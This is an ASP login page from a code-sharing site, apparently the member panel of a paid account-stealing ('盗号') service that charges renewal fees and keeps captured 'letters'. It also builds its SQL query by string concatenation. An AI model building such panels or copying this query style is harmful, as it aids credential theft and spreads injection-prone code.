📄 index1.asp

📁 盗号用的
💻 ASP
字号:
<!--#include file="Conn.asp"-->
<!--#include file="Include/Md6.asp"-->
<%
Response.Expires = -9999
Response.AddHeader "pragma", "no-cache"
Response.AddHeader "cache-ctrol", "no-cache"

If IsClose = true Then
    Response.Write CloseInfo
	Response.End
End If

If Session("UserName") <> "" Then
    Response.Redirect "user_index.asp"
	Response.End
End If 

Dim action,UserName,PassWord,GetCode
Dim Rs,Sql
action = Request("action")
UserName = SafeStr(Request.Form("UserName"))
PassWord = Trim(Request.Form("PassWord"))
GetCode = Trim(Request.Form("Code"))
If action = "login" Then
    If UserName = "" Or PassWord = "" Then 
        Response.Write "<script>alert('帐户或密码输入有误,请查证!');location.href='index1.asp';</script>"
		Response.End
	End If 
	If GetCode <> Session("GetCode") Then
        Response.Write "<script>alert('验证码输入有误,请查证!');location.href='index1.asp';</script>"   
		Response.End
	End If 
	Set Rs = Server.CreateObject("Adodb.Recordset")
	Sql = "Select * From [User] Where UserName='" & UserName & "' And PassWord='" & Md6(PassWord) & "'"
    Rs.Open Sql,Conn,1,3
	If Not (Rs.Eof Or Rs.Bof) Then
	    If Rs("State") = True Then
            Response.Write "<script>alert('" & Tips & "');location.href='index1.asp';</script>"   
		    Response.End
		End If 
		If DateDiff("s",Now(),Rs("EndTime")) <=0 Then
            Response.Write "<script>alert('您的帐户使用期限已到,如继续使用请联系管理员QQ:929804   续费 续费之后原来的信还存在');location.href='index1.asp';</script>"   
		    Response.End
		End If 
        Session("id") = Rs("id")
        Session("UserName") = Rs("UserName")
        Session("Class") = Rs("Class")
		Rs("LoginIp") = Request.ServerVariables("REMOTE_HOST")
		Rs("LoginTime") = Now()
		Rs.Update
		Rs.Close
		Set Rs = Nothing
		Call ConnClose()
		Response.Redirect "user_index.asp"
	Else
	    Rs.Close
		Set Rs = Nothing
		Call ConnClose()
	    Response.Write "<script>alert('帐户或密码输入有误,请查证!');location.href='index1.asp';</script>"
	    Response.End
	End If 
End If 

%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE><%=Name%></TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK 
href="images/css.css" type=text/css rel=stylesheet>
<META content="MSHTML 6.00.2900.5512" name=GENERATOR>
<script type="text/javascript">
function check()
{
if(document.form1.username.value=="")
  {
   alert("请填写会员名！");
   document.form1.username.focus();
   return false;
   }
if(document.form1.password.value=="")
   {
   alert("请填写会员密码！");
   document.form1.password.focus();
   return false;
   }
if(document.form1.code.value=="")
   {
   alert("请填写验证码！");
   document.form1.code.focus();
   return false;
   }
}
</script>
</HEAD>
<BODY class=bg-login leftMargin=0 topMargin=0>

<FORM name=FormPost action=index1.asp?action=login method=post>
<TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%" align=center 
border=0>
  <TBODY>
  <TR>

    <TD height=73>
      <DIV align=center></DIV></TD></TR>
  <TR>
    <TD align=middle height=335>
      <TABLE height=335 cellSpacing=0 cellPadding=0 width=560 border=0>
        <TBODY>
        <TR>
          <TD vAlign=top align=right background=images/bg_login_pad.jpg>
            <TABLE cellSpacing=0 cellPadding=0 width=556 border=0>

              <TBODY>
              <TR>
                <TD height=29>&nbsp;</TD></TR>
              <TR>
                <TD class=bg-banner height=111>
                  <OBJECT 
                  codeBase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0 
                  height=111 width=551 
                  classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000><PARAM NAME="movie" VALUE="images/intro.swf"><PARAM NAME="quality" VALUE="high"><PARAM NAME="menu" VALUE="false"><PARAM NAME="wmode" VALUE="transparent">
                                                                                 
                                                                  <embed 
                  src="images/intro.swf" width="551" height="111" quality="high" 
                  pluginspage="http://www.macromedia.com/go/getflashplayer" 
                  type="application/x-shockwave-flash" 
                  wmode="transparent"></embed></OBJECT></TD></TR>
              <TR>
                <TD height=116>&nbsp;</TD>

              </TR>
              <TR>
                <TD align=middle height=40>
                  <TABLE width="456" border=0 align=center cellPadding=2 cellSpacing=0>
                    <TBODY>
                    <TR>
                      <TD align=right width=67>
                        <DIV align=right><FONT 
color=#666666>用户名：</FONT></DIV></TD>

                      <TD width=104><INPUT class=input-18 id=username 
                        maxLength=12 size=13 name=username></TD>
                      <TD align=right width=67>
                        <DIV align=right><FONT color=#666666>密　码：</FONT></DIV></TD>
                      <TD width=92><INPUT class=input-18 id=Password2 
                        type=password maxLength=12 size=13 name=password></TD>
                      <TD width=51>&nbsp;</TD>
                      <TD width=51>&nbsp;</TD></TR>
                    <TR>
                      <TD align=right><DIV align=right><FONT color=#666666>验证码：</FONT></DIV></TD>

                      <TD><INPUT class=input-18 id=Password 
                        type=text maxLength=4 size=13 name=code></TD>
                      <TD align=center><img src="Include/getcode.asp?a=232&b=232&c=232&d=255&e=0&f=65" border=0></TD>
                      <TD>&nbsp;</TD>
                      <TD><input type=image height=22 width=51 
                        src="images/login_submit.gif" align=middle border=0 
                        name=imageField></TD>
                      <TD><img style="CURSOR: hand" 
                        onClick=FormPost.reset() height=22 
                        src="images/login_reset.gif" width=51 align=middle 
                        border=0 
              name=imageField2></TD>
                    </TR>
                    </TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR>
  <TR>

    <TD align=middle height=60><IMG height=60 
      src="images/shadow_login.jpg" width=560></TD></TR>
  <TR>
    <TD>&nbsp;</TD></TR>
  <TR>
    <TD bgColor=#d6d6d6 height=1><IMG height=1 src="images/spacer.gif" 
      width=1></TD></TR>
  <TR>
    <TD bgColor=#fffef9 height=1><IMG height=1 src="images/spacer.gif" 
      width=1></TD></TR>
  <TR>
    <TD align=middle bgColor=#eeeeee height=44><FONT color=#666666>Copyright &copy; 2009 程序制作：今宵 QQ:929804 VIP版1000元</FONT></TD></TR>

  <TR>
    <TD bgColor=#e3e3e3 
height=19>&nbsp;</TD></TR></TBODY></TABLE></FORM>        </BODY></HTML>
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -